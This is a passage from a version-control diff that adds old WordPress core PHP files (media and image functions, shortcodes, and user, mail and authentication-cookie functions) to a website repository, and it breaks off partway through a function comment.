+function image_resize( $file, $max_w, $max_h, $crop=false, $suffix=null, $dest_path=null, $jpeg_quality=90) {
+
+	$image = wp_load_image( $file );
+	if ( !is_resource( $image ) )
+		return new WP_Error('error_loading_image', $image);
+
+	list($orig_w, $orig_h, $orig_type) = getimagesize( $file );
+	$dims = image_resize_dimensions($orig_w, $orig_h, $max_w, $max_h, $crop);
+	if (!$dims)
+		return $dims;
+	list($dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h) = $dims;
+
+	$newimage = imagecreatetruecolor( $dst_w, $dst_h);
+
+	// preserve PNG transparency
+	if ( IMAGETYPE_PNG == $orig_type && function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
+		imagealphablending( $newimage, false);
+		imagesavealpha( $newimage, true);
+	}
+
+	imagecopyresampled( $newimage, $image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
+
+	// we don't need the original in memory anymore
+	imagedestroy( $image );
+
+	// $suffix will be appended to the destination filename, just before the extension
+	if ( !$suffix )
+		$suffix = "{$dst_w}x{$dst_h}";
+
+	$info = pathinfo($file);
+	$dir = $info['dirname'];
+	$ext = $info['extension'];
+	$name = basename($file, ".{$ext}");
+	if ( !is_null($dest_path) and $_dest_path = realpath($dest_path) )
+		$dir = $_dest_path;
+	$destfilename = "{$dir}/{$name}-{$suffix}.{$ext}";
+
+	if ( $orig_type == IMAGETYPE_GIF ) {
+		if (!imagegif( $newimage, $destfilename ) )
+			return new WP_Error('resize_path_invalid', __( 'Resize path invalid' ));
+	}
+	elseif ( $orig_type == IMAGETYPE_PNG ) {
+		if (!imagepng( $newimage, $destfilename ) )
+			return new WP_Error('resize_path_invalid', __( 'Resize path invalid' ));
+	}
+	else {
+		// all other formats are converted to jpg
+		$destfilename = "{$dir}/{$name}-{$suffix}.jpg";
+		if (!imagejpeg( $newimage, $destfilename, apply_filters( 'jpeg_quality', $jpeg_quality, 'image_resize' ) ) )
+			return new WP_Error('resize_path_invalid', __( 'Resize path invalid' ));
+	}
+
+	imagedestroy( $newimage );
+
+	// Set correct file permissions
+	$stat = stat( dirname( $destfilename ));
+	$perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits
+	@ chmod( $destfilename, $perms );
+
+	return $destfilename;
+}
+
+/**
+ * Resize an image to make a thumbnail or intermediate size.
+ *
+ * The returned array has the file size, the image width, and image height. The
+ * filter 'image_make_intermediate_size' can be used to hook in and change the
+ * values of the returned array. The only parameter is the resized file path.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file File path.
+ * @param int $width Image width.
+ * @param int $height Image height.
+ * @param bool $crop Optional, default is false. Whether to crop image to specified height and width or resize.
+ * @return bool|array False, if no image was created. Metadata array on success.
+ */
+function image_make_intermediate_size($file, $width, $height, $crop=false) {
+	if ( $width || $height ) {
+		$resized_file = image_resize($file, $width, $height, $crop);
+		if ( !is_wp_error($resized_file) && $resized_file && $info = getimagesize($resized_file) ) {
+			$resized_file = apply_filters('image_make_intermediate_size', $resized_file);
+			return array(
+				'file' => basename( $resized_file ),
+				'width' => $info[0],
+				'height' => $info[1],
+			);
+		}
+	}
+	return false;
+}
+
+/**
+ * Retrieve the image's intermediate size (resized) path, width, and height.
+ *
+ * The $size parameter can be an array with the width and height respectively.
+ * If the size matches the 'sizes' metadata array for width and height, then it
+ * will be used. If there is no direct match, then the nearest image size larger
+ * than the specified size will be used. If nothing is found, then the function
+ * will break out and return false.
+ *
+ * The metadata 'sizes' is used for compatible sizes that can be used for the
+ * parameter $size value.
+ *
+ * The url path will be given, when the $size parameter is a string.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Attachment ID for image.
+ * @param array|string $size Optional, default is 'thumbnail'. Size of image, either array or string.
+ * @return bool|array False on failure or array of file path, width, and height on success.
+ */
+function image_get_intermediate_size($post_id, $size='thumbnail') {
+	if ( !is_array( $imagedata = wp_get_attachment_metadata( $post_id ) ) )
+		return false;
+
+	// get the best one for a specified set of dimensions
+	if ( is_array($size) && !empty($imagedata['sizes']) ) {
+		foreach ( $imagedata['sizes'] as $_size => $data ) {
+			// already cropped to width or height; so use this size
+			if ( ( $data['width'] == $size[0] && $data['height'] <= $size[1] ) || ( $data['height'] == $size[1] && $data['width'] <= $size[0] ) ) {
+				$file = $data['file'];
+				list($width, $height) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );
+				return compact( 'file', 'width', 'height' );
+			}
+			// add to lookup table: area => size
+			$areas[$data['width'] * $data['height']] = $_size;
+		}
+		if ( !$size || !empty($areas) ) {
+			// find for the smallest image not smaller than the desired size
+			ksort($areas);
+			foreach ( $areas as $_size ) {
+				$data = $imagedata['sizes'][$_size];
+				if ( $data['width'] >= $size[0] || $data['height'] >= $size[1] ) {
+					$file = $data['file'];
+					list($width, $height) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );
+					return compact( 'file', 'width', 'height' );
+				}
+			}
+		}
+	}
+
+	if ( is_array($size) || empty($size) || empty($imagedata['sizes'][$size]) )
+		return false;
+
+	$data = $imagedata['sizes'][$size];
+	// include the full filesystem path of the intermediate file
+	if ( empty($data['path']) && !empty($data['file']) ) {
+		$file_url = wp_get_attachment_url($post_id);
+		$data['path'] = path_join( dirname($imagedata['file']), $data['file'] );
+		$data['url'] = path_join( dirname($file_url), $data['file'] );
+	}
+	return $data;
+}
+
+/**
+ * Retrieve an image to represent an attachment.
+ *
+ * A mime icon for files, thumbnail or intermediate size for images.
+ *
+ * @since 2.5.0
+ *
+ * @param int $attachment_id Image attachment ID.
+ * @param string $size Optional, default is 'thumbnail'.
+ * @param bool $icon Optional, default is false. Whether it is an icon.
+ * @return bool|array Returns an array (url, width, height), or false, if no image is available.
+ */
+function wp_get_attachment_image_src($attachment_id, $size='thumbnail', $icon = false) {
+
+	// get a thumbnail or intermediate image if there is one
+	if ( $image = image_downsize($attachment_id, $size) )
+		return $image;
+
+	$src = false;
+
+	if ( $icon && $src = wp_mime_type_icon($attachment_id) ) {
+		$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/crystal' );
+		$src_file = $icon_dir . '/' . basename($src);
+		@list($width, $height) = getimagesize($src_file);
+	}
+	if ( $src && $width && $height )
+		return array( $src, $width, $height );
+	return false;
+}
+
+/**
+ * Get an HTML img element representing an image attachment
+ *
+ * @uses apply_filters() Calls 'wp_get_attachment_image_attributes' hook on attributes array
+ * @uses wp_get_attachment_image_src() Gets attachment file URL and dimensions
+ * @since 2.5.0
+ *
+ * @param int $attachment_id Image attachment ID.
+ * @param string $size Optional, default is 'thumbnail'.
+ * @param bool $icon Optional, default is false. Whether it is an icon.
+ * @return string HTML img element or empty string on failure.
+ */
+function wp_get_attachment_image($attachment_id, $size = 'thumbnail', $icon = false) {
+
+	$html = '';
+	$image = wp_get_attachment_image_src($attachment_id, $size, $icon);
+	if ( $image ) {
+		list($src, $width, $height) = $image;
+		$hwstring = image_hwstring($width, $height);
+		if ( is_array($size) )
+			$size = join('x', $size);
+		$attachment =& get_post($attachment_id);
+		$attr = array(
+			'src'	=> $src,
+			'class'	=> "attachment-$size",
+			'alt'	=> trim(strip_tags( $attachment->post_excerpt )),
+			'title'	=> trim(strip_tags( $attachment->post_title )),
+			);
+		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment );
+		$attr = array_map( 'esc_attr', $attr );
+		$html = rtrim("<img $hwstring");
+		foreach ( $attr as $name => $value ) {
+			$html .= " $name=" . '"' . $value . '"';
+		}
+		$html .= ' />';
+	}
+
+	return $html;
+}
+
+add_shortcode('wp_caption', 'img_caption_shortcode');
+add_shortcode('caption', 'img_caption_shortcode');
+
+/**
+ * The Caption shortcode.
+ *
+ * Allows a plugin to replace the content that would otherwise be returned. The
+ * filter is 'img_caption_shortcode' and passes an empty string, the attr
+ * parameter and the content parameter values.
+ *
+ * The supported attributes for the shortcode are 'id', 'align', 'width', and
+ * 'caption'.
+ *
+ * @since 2.6.0
+ *
+ * @param array $attr Attributes attributed to the shortcode.
+ * @param string $content Optional. Shortcode content.
+ * @return string
+ */
+function img_caption_shortcode($attr, $content = null) {
+
+	// Allow plugins/themes to override the default caption template.
+	$output = apply_filters('img_caption_shortcode', '', $attr, $content);
+	if ( $output != '' )
+		return $output;
+
+	extract(shortcode_atts(array(
+		'id'	=> '',
+		'align'	=> 'alignnone',
+		'width'	=> '',
+		'caption' => ''
+	), $attr));
+
+	if ( 1 > (int) $width || empty($caption) )
+		return $content;
+
+	if ( $id ) $id = 'id="' . $id . '" ';
+
+	return '<div ' . $id . 'class="wp-caption ' . $align . '" style="width: ' . (10 + (int) $width) . 'px">'
+	. do_shortcode( $content ) . '<p class="wp-caption-text">' . $caption . '</p></div>';
+}
+
+add_shortcode('gallery', 'gallery_shortcode');
+
+/**
+ * The Gallery shortcode.
+ *
+ * This implements the functionality of the Gallery Shortcode for displaying
+ * WordPress images on a post.
+ *
+ * @since 2.5.0
+ *
+ * @param array $attr Attributes attributed to the shortcode.
+ * @return string HTML content to display gallery.
+ */
+function gallery_shortcode($attr) {
+	global $post;
+
+	static $instance = 0;
+	$instance++;
+
+	// Allow plugins/themes to override the default gallery template.
+	$output = apply_filters('post_gallery', '', $attr);
+	if ( $output != '' )
+		return $output;
+
+	// We're trusting author input, so let's at least make sure it looks like a valid orderby statement
+	if ( isset( $attr['orderby'] ) ) {
+		$attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );
+		if ( !$attr['orderby'] )
+			unset( $attr['orderby'] );
+	}
+
+	extract(shortcode_atts(array(
+		'order'      => 'ASC',
+		'orderby'    => 'menu_order ID',
+		'id'         => $post->ID,
+		'itemtag'    => 'dl',
+		'icontag'    => 'dt',
+		'captiontag' => 'dd',
+		'columns'    => 3,
+		'size'       => 'thumbnail'
+	), $attr));
+
+	$id = intval($id);
+	$attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
+
+	if ( empty($attachments) )
+		return '';
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $att_id => $attachment )
+			$output .= wp_get_attachment_link($att_id, $size, true) . "\n";
+		return $output;
+	}
+
+	$itemtag = tag_escape($itemtag);
+	$captiontag = tag_escape($captiontag);
+	$columns = intval($columns);
+	$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
+
+	$selector = "gallery-{$instance}";
+
+	$output = apply_filters('gallery_style', "
+		<style type='text/css'>
+			#{$selector} {
+				margin: auto;
+			}
+			#{$selector} .gallery-item {
+				float: left;
+				margin-top: 10px;
+				text-align: center;
+				width: {$itemwidth}%;			}
+			#{$selector} img {
+				border: 2px solid #cfcfcf;
+			}
+			#{$selector} .gallery-caption {
+				margin-left: 0;
+			}
+		</style>
+		<!-- see gallery_shortcode() in wp-includes/media.php -->
+		<div id='$selector' class='gallery galleryid-{$id}'>");
+
+	$i = 0;
+	foreach ( $attachments as $id => $attachment ) {
+		$link = isset($attr['link']) && 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);
+
+		$output .= "<{$itemtag} class='gallery-item'>";
+		$output .= "
+			<{$icontag} class='gallery-icon'>
+				$link
+			</{$icontag}>";
+		if ( $captiontag && trim($attachment->post_excerpt) ) {
+			$output .= "
+				<{$captiontag} class='gallery-caption'>
+				" . wptexturize($attachment->post_excerpt) . "
+				</{$captiontag}>";
+		}
+		$output .= "</{$itemtag}>";
+		if ( $columns > 0 && ++$i % $columns == 0 )
+			$output .= '<br style="clear: both" />';
+	}
+
+	$output .= "
+			<br style='clear: both;' />
+		</div>\n";
+
+	return $output;
+}
+
+/**
+ * Display previous image link that has the same post parent.
+ *
+ * @since 2.5.0
+ * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. 0 or 'none' will default to post_title or $text;
+ * @param string $text Optional, default is false. If included, link will reflect $text variable.
+ * @return string HTML content.
+ */
+function previous_image_link($size = 'thumbnail', $text = false) {
+	adjacent_image_link(true, $size, $text);
+}
+
+/**
+ * Display next image link that has the same post parent.
+ *
+ * @since 2.5.0
+ * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. 0 or 'none' will default to post_title or $text;
+ * @param string $text Optional, default is false. If included, link will reflect $text variable.
+ * @return string HTML content.
+ */
+function next_image_link($size = 'thumbnail', $text = false) {
+	adjacent_image_link(false, $size, $text);
+}
+
+/**
+ * Display next or previous image link that has the same post parent.
+ *
+ * Retrieves the current attachment object from the $post global.
+ *
+ * @since 2.5.0
+ *
+ * @param bool $prev Optional. Default is true to display previous link, true for next.
+ */
+function adjacent_image_link($prev = true, $size = 'thumbnail', $text = false) {
+	global $post;
+	$post = get_post($post);
+	$attachments = array_values(get_children( array('post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID') ));
+
+	foreach ( $attachments as $k => $attachment )
+		if ( $attachment->ID == $post->ID )
+			break;
+
+	$k = $prev ? $k - 1 : $k + 1;
+
+	if ( isset($attachments[$k]) )
+		echo wp_get_attachment_link($attachments[$k]->ID, $size, true, false, $text);
+}
+
+/**
+ * Retrieve taxonomies attached to the attachment.
+ *
+ * @since 2.5.0
+ *
+ * @param int|array|object $attachment Attachment ID, Attachment data array, or Attachment data object.
+ * @return array Empty array on failure. List of taxonomies on success.
+ */
+function get_attachment_taxonomies($attachment) {
+	if ( is_int( $attachment ) )
+		$attachment = get_post($attachment);
+	else if ( is_array($attachment) )
+		$attachment = (object) $attachment;
+
+	if ( ! is_object($attachment) )
+		return array();
+
+	$filename = basename($attachment->guid);
+
+	$objects = array('attachment');
+
+	if ( false !== strpos($filename, '.') )
+		$objects[] = 'attachment:' . substr($filename, strrpos($filename, '.') + 1);
+	if ( !empty($attachment->post_mime_type) ) {
+		$objects[] = 'attachment:' . $attachment->post_mime_type;
+		if ( false !== strpos($attachment->post_mime_type, '/') )
+			foreach ( explode('/', $attachment->post_mime_type) as $token )
+				if ( !empty($token) )
+					$objects[] = "attachment:$token";
+	}
+
+	$taxonomies = array();
+	foreach ( $objects as $object )
+		if ( $taxes = get_object_taxonomies($object) )
+			$taxonomies = array_merge($taxonomies, $taxes);
+
+	return array_unique($taxonomies);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/pluggable.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/pluggable.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/pluggable.php	(revision 44)
@@ -0,0 +1,1770 @@
+<?php
+/**
+ * These functions can be replaced via plugins. If plugins do not redefine these
+ * functions, then these will be used instead.
+ *
+ * @package WordPress
+ */
+
+if ( !function_exists('set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * @since 2.0.1
+ * @see wp_set_current_user() An alias of wp_set_current_user()
+ *
+ * @param int|null $id User ID.
+ * @param string $name Optional. The user's username
+ * @return object returns wp_set_current_user()
+ */
+function set_current_user($id, $name = '') {
+	return wp_set_current_user($id, $name);
+}
+endif;
+
+if ( !function_exists('wp_set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * Some WordPress functionality is based on the current user and not based on
+ * the signed in user. Therefore, it opens the ability to edit and perform
+ * actions on users who aren't signed in.
+ *
+ * @since 2.0.3
+ * @global object $current_user The current user object which holds the user data.
+ * @uses do_action() Calls 'set_current_user' hook after setting the current user.
+ *
+ * @param int $id User ID
+ * @param string $name User's username
+ * @return WP_User Current user User object
+ */
+function wp_set_current_user($id, $name = '') {
+	global $current_user;
+
+	if ( isset($current_user) && ($id == $current_user->ID) )
+		return $current_user;
+
+	$current_user = new WP_User($id, $name);
+
+	setup_userdata($current_user->ID);
+
+	do_action('set_current_user');
+
+	return $current_user;
+}
+endif;
+
+if ( !function_exists('wp_get_current_user') ) :
+/**
+ * Retrieve the current user object.
+ *
+ * @since 2.0.3
+ *
+ * @return WP_User Current user WP_User object
+ */
+function wp_get_current_user() {
+	global $current_user;
+
+	get_currentuserinfo();
+
+	return $current_user;
+}
+endif;
+
+if ( !function_exists('get_currentuserinfo') ) :
+/**
+ * Populate global variables with information about the currently logged in user.
+ *
+ * Will set the current user, if the current user is not set. The current user
+ * will be set to the logged in person. If no user is logged in, then it will
+ * set the current user to 0, which is invalid and won't have any permissions.
+ *
+ * @since 0.71
+ * @uses $current_user Checks if the current user is set
+ * @uses wp_validate_auth_cookie() Retrieves current logged in user.
+ *
+ * @return bool|null False on XMLRPC Request and invalid auth cookie. Null when current user set
+ */
+function get_currentuserinfo() {
+	global $current_user;
+
+	if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST )
+		return false;
+
+	if ( ! empty($current_user) )
+		return;
+
+	if ( ! $user = wp_validate_auth_cookie() ) {
+		 if ( empty($_COOKIE[LOGGED_IN_COOKIE]) || !$user = wp_validate_auth_cookie($_COOKIE[LOGGED_IN_COOKIE], 'logged_in') ) {
+		 	wp_set_current_user(0);
+		 	return false;
+		 }
+	}
+
+	wp_set_current_user($user);
+}
+endif;
+
+if ( !function_exists('get_userdata') ) :
+/**
+ * Retrieve user info by user ID.
+ *
+ * @since 0.71
+ *
+ * @param int $user_id User ID
+ * @return bool|object False on failure, User DB row object
+ */
+function get_userdata( $user_id ) {
+	global $wpdb;
+
+	$user_id = absint($user_id);
+	if ( $user_id == 0 )
+		return false;
+
+	$user = wp_cache_get($user_id, 'users');
+
+	if ( $user )
+		return $user;
+
+	if ( !$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE ID = %d LIMIT 1", $user_id)) )
+		return false;
+
+	_fill_user($user);
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('get_user_by') ) :
+/**
+ * Retrieve user info by a given field
+ *
+ * @since 2.8.0
+ *
+ * @param string $field The field to retrieve the user with.  id | slug | email | login
+ * @param int|string $value A value for $field.  A user ID, slug, email address, or login name.
+ * @return bool|object False on failure, User DB row object
+ */
+function get_user_by($field, $value) {
+	global $wpdb;
+
+	switch ($field) {
+		case 'id':
+			return get_userdata($value);
+			break;
+		case 'slug':
+			$user_id = wp_cache_get($value, 'userslugs');
+			$field = 'user_nicename';
+			break;
+		case 'email':
+			$user_id = wp_cache_get($value, 'useremail');
+			$field = 'user_email';
+			break;
+		case 'login':
+			$value = sanitize_user( $value );
+			$user_id = wp_cache_get($value, 'userlogins');
+			$field = 'user_login';
+			break;
+		default:
+			return false;
+	}
+
+	 if ( false !== $user_id )
+		return get_userdata($user_id);
+
+	if ( !$user = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->users WHERE $field = %s", $value) ) )
+		return false;
+
+	_fill_user($user);
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('get_userdatabylogin') ) :
+/**
+ * Retrieve user info by login name.
+ *
+ * @since 0.71
+ *
+ * @param string $user_login User's username
+ * @return bool|object False on failure, User DB row object
+ */
+function get_userdatabylogin($user_login) {
+	return get_user_by('login', $user_login);
+}
+endif;
+
+if ( !function_exists('get_user_by_email') ) :
+/**
+ * Retrieve user info by email.
+ *
+ * @since 2.5
+ *
+ * @param string $email User's email address
+ * @return bool|object False on failure, User DB row object
+ */
+function get_user_by_email($email) {
+	return get_user_by('email', $email);
+}
+endif;
+
+if ( !function_exists( 'wp_mail' ) ) :
+/**
+ * Send mail, similar to PHP's mail
+ *
+ * A true return value does not automatically mean that the user received the
+ * email successfully. It just only means that the method used was able to
+ * process the request without any errors.
+ *
+ * Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from
+ * creating a from address like 'Name <email@address.com>' when both are set. If
+ * just 'wp_mail_from' is set, then just the email address will be used with no
+ * name.
+ *
+ * The default content type is 'text/plain' which does not allow using HTML.
+ * However, you can set the content type of the email by using the
+ * 'wp_mail_content_type' filter.
+ *
+ * The default charset is based on the charset used on the blog. The charset can
+ * be set using the 'wp_mail_charset' filter.
+ *
+ * @since 1.2.1
+ * @uses apply_filters() Calls 'wp_mail' hook on an array of all of the parameters.
+ * @uses apply_filters() Calls 'wp_mail_from' hook to get the from email address.
+ * @uses apply_filters() Calls 'wp_mail_from_name' hook to get the from address name.
+ * @uses apply_filters() Calls 'wp_mail_content_type' hook to get the email content type.
+ * @uses apply_filters() Calls 'wp_mail_charset' hook to get the email charset
+ * @uses do_action_ref_array() Calls 'phpmailer_init' hook on the reference to
+ *		phpmailer object.
+ * @uses PHPMailer
+ * @
+ *
+ * @param string $to Email address to send message
+ * @param string $subject Email subject
+ * @param string $message Message contents
+ * @param string|array $headers Optional. Additional headers.
+ * @param string|array $attachments Optional. Files to attach.
+ * @return bool Whether the email contents were sent successfully.
+ */
+function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
+	// Compact the input, apply the filters, and extract them back out
+	extract( apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) ) );
+
+	if ( !is_array($attachments) )
+		$attachments = explode( "\n", $attachments );
+
+	global $phpmailer;
+
+	// (Re)create it, if it's gone missing
+	if ( !is_object( $phpmailer ) || !is_a( $phpmailer, 'PHPMailer' ) ) {
+		require_once ABSPATH . WPINC . '/class-phpmailer.php';
+		require_once ABSPATH . WPINC . '/class-smtp.php';
+		$phpmailer = new PHPMailer();
+	}
+
+	// Headers
+	if ( empty( $headers ) ) {
+		$headers = array();
+	} else {
+		if ( !is_array( $headers ) ) {
+			// Explode the headers out, so this function can take both
+			// string headers and an array of headers.
+			$tempheaders = (array) explode( "\n", $headers );
+		} else {
+			$tempheaders = $headers;
+		}
+		$headers = array();
+
+		// If it's actually got contents
+		if ( !empty( $tempheaders ) ) {
+			// Iterate through the raw headers
+			foreach ( (array) $tempheaders as $header ) {
+				if ( strpos($header, ':') === false ) {
+					if ( false !== stripos( $header, 'boundary=' ) ) {
+						$parts = preg_split('/boundary=/i', trim( $header ) );
+						$boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) );
+					}
+					continue;
+				}
+				// Explode them out
+				list( $name, $content ) = explode( ':', trim( $header ), 2 );
+
+				// Cleanup crew
+				$name = trim( $name );
+				$content = trim( $content );
+
+				// Mainly for legacy -- process a From: header if it's there
+				if ( 'from' == strtolower($name) ) {
+					if ( strpos($content, '<' ) !== false ) {
+						// So... making my life hard again?
+						$from_name = substr( $content, 0, strpos( $content, '<' ) - 1 );
+						$from_name = str_replace( '"', '', $from_name );
+						$from_name = trim( $from_name );
+
+						$from_email = substr( $content, strpos( $content, '<' ) + 1 );
+						$from_email = str_replace( '>', '', $from_email );
+						$from_email = trim( $from_email );
+					} else {
+						$from_email = trim( $content );
+					}
+				} elseif ( 'content-type' == strtolower($name) ) {
+					if ( strpos( $content,';' ) !== false ) {
+						list( $type, $charset ) = explode( ';', $content );
+						$content_type = trim( $type );
+						if ( false !== stripos( $charset, 'charset=' ) ) {
+							$charset = trim( str_replace( array( 'charset=', '"' ), '', $charset ) );
+						} elseif ( false !== stripos( $charset, 'boundary=' ) ) {
+							$boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset ) );
+							$charset = '';
+						}
+					} else {
+						$content_type = trim( $content );
+					}
+				} elseif ( 'cc' == strtolower($name) ) {
+					$cc = explode(",", $content);
+				} elseif ( 'bcc' == strtolower($name) ) {
+					$bcc = explode(",", $content);
+				} else {
+					// Add it to our grand headers array
+					$headers[trim( $name )] = trim( $content );
+				}
+			}
+		}
+	}
+
+	// Empty out the values that may be set
+	$phpmailer->ClearAddresses();
+	$phpmailer->ClearAllRecipients();
+	$phpmailer->ClearAttachments();
+	$phpmailer->ClearBCCs();
+	$phpmailer->ClearCCs();
+	$phpmailer->ClearCustomHeaders();
+	$phpmailer->ClearReplyTos();
+
+	// From email and name
+	// If we don't have a name from the input headers
+	if ( !isset( $from_name ) ) {
+		$from_name = 'WordPress';
+	}
+
+	/* If we don't have an email from the input headers default to wordpress@$sitename
+	 * Some hosts will block outgoing mail from this address if it doesn't exist but
+	 * there's no easy alternative. Defaulting to admin_email might appear to be another
+	 * option but some hosts may refuse to relay mail from an unknown domain. See
+	 * http://trac.wordpress.org/ticket/5007.
+	 */
+
+	if ( !isset( $from_email ) ) {
+		// Get the site domain and get rid of www.
+		$sitename = strtolower( $_SERVER['SERVER_NAME'] );
+		if ( substr( $sitename, 0, 4 ) == 'www.' ) {
+			$sitename = substr( $sitename, 4 );
+		}
+
+		$from_email = 'wordpress@' . $sitename;
+	}
+
+	// Plugin authors can override the potentially troublesome default
+	$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
+	$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
+
+	// Set destination address
+	$phpmailer->AddAddress( $to );
+
+	// Set mail's subject and body
+	$phpmailer->Subject = $subject;
+	$phpmailer->Body = $message;
+
+	// Add any CC and BCC recipients
+	if ( !empty($cc) ) {
+		foreach ( (array) $cc as $recipient ) {
+			$phpmailer->AddCc( trim($recipient) );
+		}
+	}
+	if ( !empty($bcc) ) {
+		foreach ( (array) $bcc as $recipient) {
+			$phpmailer->AddBcc( trim($recipient) );
+		}
+	}
+
+	// Set to use PHP's mail()
+	$phpmailer->IsMail();
+
+	// Set Content-Type and charset
+	// If we don't have a content-type from the input headers
+	if ( !isset( $content_type ) ) {
+		$content_type = 'text/plain';
+	}
+
+	$content_type = apply_filters( 'wp_mail_content_type', $content_type );
+
+	$phpmailer->ContentType = $content_type;
+
+	// Set whether it's plaintext or not, depending on $content_type
+	if ( $content_type == 'text/html' ) {
+		$phpmailer->IsHTML( true );
+	}
+
+	// If we don't have a charset from the input headers
+	if ( !isset( $charset ) ) {
+		$charset = get_bloginfo( 'charset' );
+	}
+
+	// Set the content-type and charset
+	$phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset );
+
+	// Set custom headers
+	if ( !empty( $headers ) ) {
+		foreach( (array) $headers as $name => $content ) {
+			$phpmailer->AddCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) );
+		}
+		if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) ) {
+			$phpmailer->AddCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) );
+		}
+	}
+
+	if ( !empty( $attachments ) ) {
+		foreach ( $attachments as $attachment ) {
+			$phpmailer->AddAttachment($attachment);
+		}
+	}
+
+	do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );
+
+	// Send!
+	$result = @$phpmailer->Send();
+
+	return $result;
+}
+endif;
+
+if ( !function_exists('wp_authenticate') ) :
+/**
+ * Checks a user's login information and logs them in if it checks out.
+ *
+ * @since 2.5.0
+ *
+ * @param string $username User's username
+ * @param string $password User's password
+ * @return WP_Error|WP_User WP_User object if login successful, otherwise WP_Error object.
+ */
+function wp_authenticate($username, $password) {
+	$username = sanitize_user($username);
+	$password = trim($password);
+
+	$user = apply_filters('authenticate', null, $username, $password);
+
+	if ( $user == null ) {
+		// TODO what should the error message be? (Or would these even happen?)
+		// Only needed if all authentication handlers fail to return anything.
+		$user = new WP_Error('authentication_failed', __('<strong>ERROR</strong>: Invalid username or incorrect password.'));
+	}
+
+	$ignore_codes = array('empty_username', 'empty_password');
+
+	if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) {
+		do_action('wp_login_failed', $username);
+	}
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('wp_logout') ) :
+/**
+ * Log the current user out.
+ *
+ * @since 2.5.0
+ */
+function wp_logout() {
+	wp_clear_auth_cookie();
+	do_action('wp_logout');
+}
+endif;
+
+if ( !function_exists('wp_validate_auth_cookie') ) :
+/**
+ * Validates authentication cookie.
+ *
+ * The checks include making sure that the authentication cookie is set and
+ * pulling in the contents (if $cookie is not used).
+ *
+ * Makes sure the cookie is not expired. Verifies the hash in cookie is what is
+ * should be and compares the two.
+ *
+ * @since 2.5
+ *
+ * @param string $cookie Optional. If used, will validate contents instead of cookie's
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return bool|int False if invalid cookie, User ID if valid.
+ */
+function wp_validate_auth_cookie($cookie = '', $scheme = '') {
+	if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) {
+		do_action('auth_cookie_malformed', $cookie, $scheme);
+		return false;
+	}
+
+	extract($cookie_elements, EXTR_OVERWRITE);
+
+	$expired = $expiration;
+
+	// Allow a grace period for POST and AJAX requests
+	if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] )
+		$expired += 3600;
+
+	// Quick check to see if an honest cookie has expired
+	if ( $expired < time() ) {
+		do_action('auth_cookie_expired', $cookie_elements);
+		return false;
+	}
+
+	$user = get_userdatabylogin($username);
+	if ( ! $user ) {
+		do_action('auth_cookie_bad_username', $cookie_elements);
+		return false;
+	}
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
+	$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
+
+	if ( $hmac != $hash ) {
+		do_action('auth_cookie_bad_hash', $cookie_elements);
+		return false;
+	}
+
+	do_action('auth_cookie_valid', $cookie_elements, $user);
+
+	return $user->ID;
+}
+endif;
+
+if ( !function_exists('wp_generate_auth_cookie') ) :
+/**
+ * Generate authentication cookie contents.
+ *
+ * @since 2.5
+ * @uses apply_filters() Calls 'auth_cookie' hook on $cookie contents, User ID
+ *		and expiration of cookie.
+ *
+ * @param int $user_id User ID
+ * @param int $expiration Cookie expiration in seconds
